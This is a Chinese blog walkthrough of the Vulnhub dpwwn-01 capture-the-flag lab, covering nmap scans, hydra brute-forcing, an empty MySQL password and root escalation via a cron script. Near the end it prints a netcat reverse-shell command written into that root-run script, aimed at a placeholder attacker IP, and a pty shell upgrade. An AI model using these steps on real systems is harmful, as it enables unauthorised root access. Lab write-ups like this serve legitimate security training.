Vulnhub-dpwwn-01渗透测试攻略

发表于 2019-08-20  540 次阅读


www.vulnhub.com所提供的靶场对于渗透测试的初学者来说是非常棒的学习途径。 感谢 @Debashis Pal 提供dpwn这么出色的CTF练习环境,dpwwn-01至03共3个主机,从简单至困难,今天我演示如何拿到 dpwwn-01 (简单)此主机的FLAG。

0x01、访问https://www.vulnhub.com/entry/dpwwn-1,342/下载虚拟机文件并导入本地的虚拟机,请检查虚拟机的网络为NAT模式,具体操作方法不在本文赘述。

导入虚拟机开机后进入系统的登陆界面,可以知道此虚拟机为CentOS 7系统

0x02、使用nmap确定攻击者IP与被攻击者的IP在同一网络,并确定被攻击者的IP地址是多少。

192.168.157.143为被攻击者IP

0x03、使用nmap确认192.168.157.143所开放的端口。这里得到了22(SSH)、80(HTTP)、3306(MYSQL)。

确定开放服务

0x04、对开放的22、3306端口进行爆破排查弱口令。

使用hydra爆破得到一个空口令
22(SSH)端口未找到弱口令
对80端口进行目录扫描发现info.php文件,打开后为phpinfo信息,没有其它flag线索。

0x05、连接至192.168.157.143的MYSQL数据库(使用空口令),得到ssh表内的username和password线索。

0x06、使用mistic登陆主机,发现为低权限用户无法读取只有root权限才能读取的flag文件。遂下载linux枚举脚本检查主机是否存在suid提权的可能。具体步骤如图:

运行枚举脚本时发现在计划任务内存在一个每3分钟以root权限运行的脚本(logrot.sh)在mistic的用户目录下。

0x07、至此整个提权思路都有了,作者是以此由root执行的计划任务脚本为线索,让攻击者利用从而得到root权限。遂在logrot.sh内添加了使用nc进行反弹shell的脚本。具体操作如图:

echo nc -e /bin/bash 攻击者IP 端口 > 计划任务所执行的脚本

0x08、在攻击者的主机使用nc监听4444端口等待被攻击主机上每3分钟执行的反弹shell脚本,最后得到一个交互性差的shell界面,执行权限为root。为了增加交互性,使用了python one liner增加交互界面。

python -c 'import pty; pty.spawn("/bin/bash")'

0x09、读取在root目录下的dpwwn-01-FLAG.txt得到flag,至此渗透完成。

原创文章,转载请注明出处。


专注于学习,生活,教育。